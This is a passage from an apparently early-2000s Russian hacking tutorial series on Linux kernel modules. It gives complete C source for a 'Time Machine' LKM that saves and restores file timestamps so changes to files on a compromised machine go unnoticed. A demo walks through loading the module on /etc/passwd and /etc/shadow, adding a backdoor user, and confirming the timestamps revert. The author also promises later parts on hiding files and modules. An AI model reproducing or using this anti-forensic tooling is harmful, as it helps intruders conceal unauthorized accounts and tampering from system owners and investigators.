Теперь давай немножко поиграем с файловой системой 🙂
Традиционный метод скрытия/ перенаправления/
etc файлов это перехват системных вызовов типа
open/read/etc путем модификации syscall_table. Но простой перехват системных вызовов (любых, для любых целей) путем модификации syscall_table это вчерашний день, т.к. разработаны эффективные методы обнаружения и противодействия этому. Поэтому в этой статье я вообще не буду рассматривать этот метод ни для каких задач, хотя пару-тройку лет назад все доки по LKM hack'у только с этого и начинались. Один из самых последних публично известных методов скрытия/перенаправления файлов это перехват функций
VFS.
VFS - Virtual File System, эта система, часть ядра Linux, была создана для облегчения написания и использования кода для работы с разными файловыми системами (Ext2fs, NTFS, FAT, MINIX, etc). Как перехватывать функции VFS и как прятать/
перенаправлять файлы я расскажу в следующей части.
А сейчас мы рассмотрим маленькую, но полезную мод-утилиту для восстановления временных меток (timestamps - дата когда файл был создан, последний раз прочтен и модифицирован) на файлах.
Этот модуль я написал некоторое время назад чтобы
модифицировать файлы, но так, чтобы по их timestamp'ам нельзя было об этом догадаться. Модуль я назвал "Time Machine" - машина времени 🙂
Загружаешь модуль и передаешь ему названия файлов которые ты хочешь модифицировать. Потом модифицируешь их и выгружаешь модуль после чего временные метки файлов восстанавливаются и становятся такими какими они были до модификации во время загрузки модуля 🙂
В моде будут использоваться эти внешние функции: path_init, path_walk, path_release. Полностью описывать их не буду, смотри соответствующие доки если хочешь. Вкратце скажу, что они нам нужны для того, чтобы по названию файла
определить его inode (инфу о фале), место нахождения inode'a на диске и загрузить его в оперативную память для дальнейшей работы с timestamp'ами.
/* --- --- --- --- --- cut here --- --- --- --- --- */
/*
* Time Machine. Make files in your 0wned box travel in time... 🙂
* Alekz. skleroz@pisem.net
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/locks.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
char *files, *filo;
MODULE_PARM(files, "s"); //для передачи модулю параметров
struct nameidata nd;
//структура для хранения timestamp'oв файлов
struct age /* The Age of Hackers 😉 */
{
time_t atime; //access time (дата последнего чтения файла)
time_t mtime; //modification time (последней модификации)
time_t ctime; //creation time (дата создания файла)
};
#define MAX_AGES 16
struct age ages[MAX_AGES];
int king = 0;
#define DELIM ':'
#define PAST 1
#define FUTURE 2
int teleport(int time)
{
int i, error;
char *knight;
memcpy(filo, files, strlen(files)+1);
king = 0;
for(i = strlen(filo);i>=0;i--)
{
if(filo[i] == DELIM)
{
filo[i] = 0;
knight = filo; knight += i + 1;
if(king >= MAX_AGES)
return -1;
if(path_init(knight, 0, &nd))
error = path_walk(knight, &nd);
if(error)
continue;
/* Теперь благодаря path_init & path_walk мы имеем полностью заполненную структуру nameidata в переменной nd с нужной нам информацией. Структуры inode, nameidata и другие описаны в /usr/src/linux/include/linux/fs.h */
if(time == PAST)
{
// запомнить timestamp'ы хранащиеся в inode'е файла
ages[king].atime = nd.dentry->d_inode->i_atime;
ages[king].mtime = nd.dentry->d_inode->i_mtime;
ages[king].ctime = nd.dentry->d_inode->i_ctime;
}
else if(time == FUTURE)
{
// установить timestamp'ы обратно
nd.dentry->d_inode->i_atime = ages[king].atime;
nd.dentry->d_inode->i_mtime = ages[king].mtime;
nd.dentry->d_inode->i_ctime = ages[king].ctime;
}
king++;
path_release(&nd);
}
}
return 0;
}
int init_module(void)
{
if(!files)
return -1;
filo = kmalloc(strlen(files)+1, GFP_KERNEL);
if(!filo)
return -1;
if(teleport(PAST) == -1)
return -1;
return 0;
}
void cleanup_module(void)
{
teleport(FUTURE);
kfree(filo);
}
/* --- --- --- --- --- cut here --- --- --- --- --- */
Использование мода:
$ gcc tm.c -c #компилим
$ stat /etc/passwd /etc/shadow #смотрим все 3 timestamp'а файлов паролей
File: "/etc/passwd"
Size: 1090 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197890 Links: 1
Access: Mon Oct 20 15:48:13 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003
File: "/etc/shadow"
Size: 897 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197870 Links: 1
Access: Mon Oct 20 15:21:08 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003
Загружаем мод и перечисляем файлы которые хотим модифицировать (каждый файл должен начинаться со знака двоеточия
":" !!! можешь поменять на любой другой в #define DELIM ':')
$ insmod tm.o files=:/etc/passwd:/etc/shadow
добавляем юзера, etc (будут дописаны файлы /etc/passwd &
shadow)
$ adduser timemaster
$ stat /etc/passwd /etc/shadow #смотрим timestamp'ы после модификации файлов
File: "/etc/passwd"
Size: 1120 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197906 Links: 1
Access: Mon Oct 20 16:59:38 2003
Modify: Mon Oct 20 16:59:38 2003
Change: Mon Oct 20 16:59:38 2003
File: "/etc/shadow"
Size: 915 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197907 Links: 1
Access: Mon Oct 20 16:59:38 2003
Modify: Mon Oct 20 16:59:38 2003
Change: Mon Oct 20 16:59:38 2003
$ rmmod tm #выгружаем мод
проверяем правильно ли восстановлены timestamps:
$ stat /etc/passwd /etc/shadow
File: "/etc/passwd"
Size: 1120 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197890 Links: 1
Access: Mon Oct 20 15:48:13 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003
File: "/etc/shadow"
Size: 915 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197870 Links: 1
Access: Mon Oct 20 15:21:08 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003
Файлы успешно попутешествовали во времени :).
Много док по LKM лежит в /usr/src/linux/Documentation, особенно интересны /usr/src/linux/Documentation/DocBook/kernel-api.pdf и kernel-hacking.pdf,
эти доки генерятся из исходников kernel'а (команды, чтоб их сгенерить: cd /usr/src/linux ; make pdfdocs,
можно генерить доки в разных форматах - html,
pdf, etc)) и описывают важные функции и навороты.
Ну вроде все на сегодня, попрактикуйся с модулями которые мы рассмотрели сегодня. В следующей раз я подробней расскажу о том как работать с VFS и сетью, загружать и скрывать модули, а также многое другое 😉
Если у тебя возникли какие-то вопросы, пожелания или комментарии - мой T-мыл:
skleroz@pisem.net или пиши в форуме.
Удачного тебе хака и читай последующие
части! =:-)
Best regards,
Alekz.